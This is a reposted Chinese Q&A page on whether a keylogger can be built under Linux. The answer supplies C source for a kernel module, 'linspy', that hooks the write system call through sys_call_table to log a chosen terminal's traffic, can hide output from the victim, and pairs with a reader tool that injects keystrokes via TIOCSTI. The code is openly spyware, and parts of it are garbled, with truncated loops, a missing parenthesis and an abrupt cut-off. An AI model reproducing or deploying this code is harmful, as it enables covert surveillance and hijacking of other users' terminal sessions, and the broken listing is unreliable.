当前位置:  技术问答>linux和unix

Linux 下能否实现一个键盘记录器

    来源: 互联网  发布时间:2015-08-04

    本文导语:  当然, 不应该修改内核。 不应该破坏正常的键盘使用。 Windows下有钩子,Linux下呢? | 可以利用TIOCSTI这个ioctl调用宏来阻塞击键到标准输入流。 改变write(2)系统调用到我们的代码,代码的作...

当然,
不应该修改内核。
不应该破坏正常的键盘使用。

Windows下有钩子,Linux下呢?

|
可以利用TIOCSTI这个ioctl调用宏来阻塞击键到标准输入流。 改变write(2)系统调用到我们的代码,代码的作用是假如指向我们想要的tty就纪录下来; 我们可以在后面调用真实的write(2)系统调用。
我们可以通过读这个设备来获得已经被纪录的数据,并且增加一个或两个ioctl来告诉我们的代码确定我们想纪录的那个tty。
参考代码:
#define BUFFERSZ        2048
char buffer[BUFFERSZ];
int queue_head = 0;
int queue_tail = 0;

/* taken_over 定义目标机是否可以看到任何输出 */
int taken_over = 0;

static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);/*构建write调用*/
extern void *sys_call_table[];

/* linspy设备的设备信息 */
static int linspy_major = 40;
int tty_minor = -1;
int tty_major = 4;

/* 保存原write调用地址 */
void *original_write;

void save_write(char *, size_t);


int out_queue(void) 
{
   int c;
   if(queue_head == queue_tail) return -1;
   c = buffer[queue_head];
   queue_head++;
   if(queue_head == BUFFERSZ) queue_head=0;
   return c;
}

int in_queue(int ch)
{
   if((queue_tail + 1) == queue_head) return 0;
   buffer[queue_tail] = ch;
   queue_tail++;
   if(queue_tail == BUFFERSZ) queue_tail=0;
   return 1;
}


/* 检查tty是否是我们要寻找的 */
int is_fd_tty(int fd)
{
   struct file *f=NULL;
   struct inode *inode=NULL;
   int mymajor=0;
   int myminor=0;

   if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))
      return 0;
   mymajor = major(inode->i_rdev);
   myminor = minor(inode->i_rdev);
   if(mymajor != tty_major) return 0;
   if(myminor != tty_minor) return 0;
   return 1;
}

/* 这是新的write调用 */
extern int new_write(int fd, char *buf, size_t count)
{
   int r;
   if(is_fd_tty(fd))
   {
      if(count > 0)
         save_write(buf, count);
      if(taken_over) return count;
   }
   sys_call_table[SYS_write] = original_write;   /*保存原调用*/
   r = write(fd, buf, count); 
   sys_call_table[SYS_write] = new_write;        /*替换新调用*/
   if(r == -1) return -errno;
   else return r;
}


/* 保存write调用的返回值到buffer */
void save_write(char *buf, size_t count)
{
   int i;
   for(i=0;i euid != 0) return 0;
   for(i=0;i euid != 0) return -EIO;
   switch(cmd)
   {
      case LS_SETMAJOR:
         tty_major = args;
         queue_head = 0;
         queue_tail = 0;
         break;
      case LS_SETMINOR:
         tty_minor = args;
         queue_head = 0;
         queue_tail = 0;
         break;
     case LS_FLUSHBUF:
         queue_head=0;
         queue_tail=0;
         break;
     case LS_TOGGLE:
         if(taken_over) taken_over=0;
         else taken_over=1;
         break;
      default:
         return 1;
   }
   return 0;
}


static struct file_operations linspy = {
NULL,
linspy_read,
NULL,
NULL,
NULL,
linspy_ioctl,
NULL, 
linspy_open,
linspy_close,
NULL
};


/* 加载模块 */
int init_module(void)
{
   original_write = sys_call_table[SYS_write];
   sys_call_table[SYS_write] = new_write;
   if(register_chrdev(linspy_major, "linspy", &linspy)) return -EIO;
   return 0;
}

/*卸载模块 */
void cleanup_module(void)
{
   sys_call_table[SYS_write] = original_write;
   unregister_chrdev(linspy_major, "linspy";
}
 end linspy.c
 linspy/ltread.c
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

struct termios save_termios;
int ttysavefd = -1;
int fd;

#ifndef DEVICE_NAME
#define DEVICE_NAME "/dev/ltap"
#endif

#define LS_SETMAJOR     0
#define LS_SETMINOR     1
 
#define LS_FLUSHBUF     2
#define LS_TOGGLE       3

void stuff_keystroke(int fd, char key)
{
   ioctl(fd, TIOCSTI, &key);
}

int tty_cbreak(int fd)
{
   struct termios buff;
   if(tcgetattr(fd, &save_termios) 

    
 
 

您可能感兴趣的文章:

  • 书写基于Linux内核的键盘记录器(Writing Linux Kernel Keylogger)中的源码如何编译通过???
  • 我安装的是suse的linux,我的键盘用的usb的,安装好以后,键盘的一些符号显示不对。
  • 我做了一个缩减的linux系统,将是要在另一台pc机上黑盒运行(即没有键盘,显示器,上电就跑),但我这个缩减的LINUX是要键盘输入密码登陆的,我
  • 求教,Linux下键盘输入的所有数据都会经过Linux内核吗???
  • 蓝点LINUX,进入XWINDOW时鼠标和键盘都没有响应了,怎么办?急~~~~!~~~~
  • 在安装Linux时"键盘设置"应该选哪种类型的呢?
  • linux系统下怎么捕捉不到键盘事件
  • linux下如何区分多个USB键盘的输入?
  • 虚拟机下linux内鼠标和键盘失灵,如何解决?
  • --********-- linux下如何模拟键盘的输入 --************---
  • linux怎么无法检测到我的键盘和鼠标?
  • LINUX如何取消系统启动时对键盘和鼠标的自检?
  • linux系统无法启动出错,键盘无法输入
  • 在linux里键盘有对应的设备文件吗?
  • Linux下怎么样读取非标准输入设备键盘的值?
  • fedora linux用户登录那里键盘就不能用
  • Linux虚拟键盘 Florence
  • linux 下多线程 每个线程能否使用alarm来处理,信号是否会乱呢? iis7站长之家
  • linux9键盘被锁定了,如何解锁?
  • 为什么每次启动VM虚拟机进linux都要重新插键盘???????????
  • 关于Linux系统键盘缓冲的问题
  •  
    本站(WWW.)旨在分享和传播互联网科技相关的资讯和技术,将尽最大努力为读者提供更好的信息聚合和浏览方式。
    本站(WWW.)站内文章除注明原创外,均为转载、整理或搜集自网络。欢迎任何形式的转载,转载请注明出处。












  • 相关文章推荐
  • 安装linux时,能否将linux swap分区划在扩展分区中?
  • 98的机子有modem,linux的无,能否通过共享使linux的机子都能上网?
  • 在Linux下能否使用windows的TureType字体
  • linux能否成为动态域名解析客户端的动态域名解析服务器?
  • 我想开发一个LINUX下的FTP服务器软件,能否推荐现在几款比较好的在LINUX下的FTP软件做为参考
  • linux 下多线程 每个线程能否使用alarm来处理,信号是否会乱呢?
  • Kylix能否在红旗linux下用?
  • 请问我的主版能否用LINUX?
  • RedHat Linux下能否访问Win2000下NTFS格式的分区?
  • linux启动时,能否跳过硬盘检测。
  • linux下能否看chm格式的文件?
  • 请问在linux调试中能否有调用函数的显示时间
  • linux使用shell脚本,如何创建用户,并设置用户密码?能否给出示例?
  • linux的默认系统时间格式能否更改
  • Linux音频, Linux下能否实现 实时语音聊天 ?
  • (**100分**)远程用登录linux能否启动Xwindows,如何实现~!
  • linux下能否限定某个用户telnet之后只能访问某个目录下的东西?
  • linux+free_radius+mysql能否实现多重认证?
  • 请指点: 在windows下能否通过程序来获取linux下的用户列表,甚至通过自己写的windows程序界面增加修改linux的用户
  • 能否让Windows,redflag_linux,,redhat_linux三系统共存?
  • linux c/c++ IP字符串转换成可比较大小的数字
  • 在win分区上安装linux和独立分区安装linux有什么区别?可以同时安装吗?(两个linux系统)
  • linux哪个版本好?linux操作系统版本详细介绍及选择方案推荐
  • 在虚拟机上安装的linux上,能像真的linux系统一样开发linux程序么?
  • secureCRT下Linux终端汉字乱码解决方法
  • 我重装window后,把linux的引导区覆盖了,进不了linux怎么办?急啊,望热心的人帮助 (现在有linux的盘)
  • Linux c字符串中不可打印字符转换成16进制
  • 安装vmware软件,不用再安装linux系统,就可以模拟linux系统了,然后可以在其上学习一下LINUX下的基本操作 了?
  • Linux常用命令介绍:更改所属用户群组或档案属性
  • 红旗Linux主机可以通过127.0.0.1访问,但如何是连网的Win2000机器通过Linux的IP去访问Linux
  • linux命令大全详细分类介绍及常用linux命令文档手册下载


  • 站内导航:


    特别声明:169IT网站部分信息来自互联网,如果侵犯您的权利,请及时告知,本站将立即删除!

    ©2012-2021,,E-mail:www_#163.com(请将#改为@)

    浙ICP备11055608号-3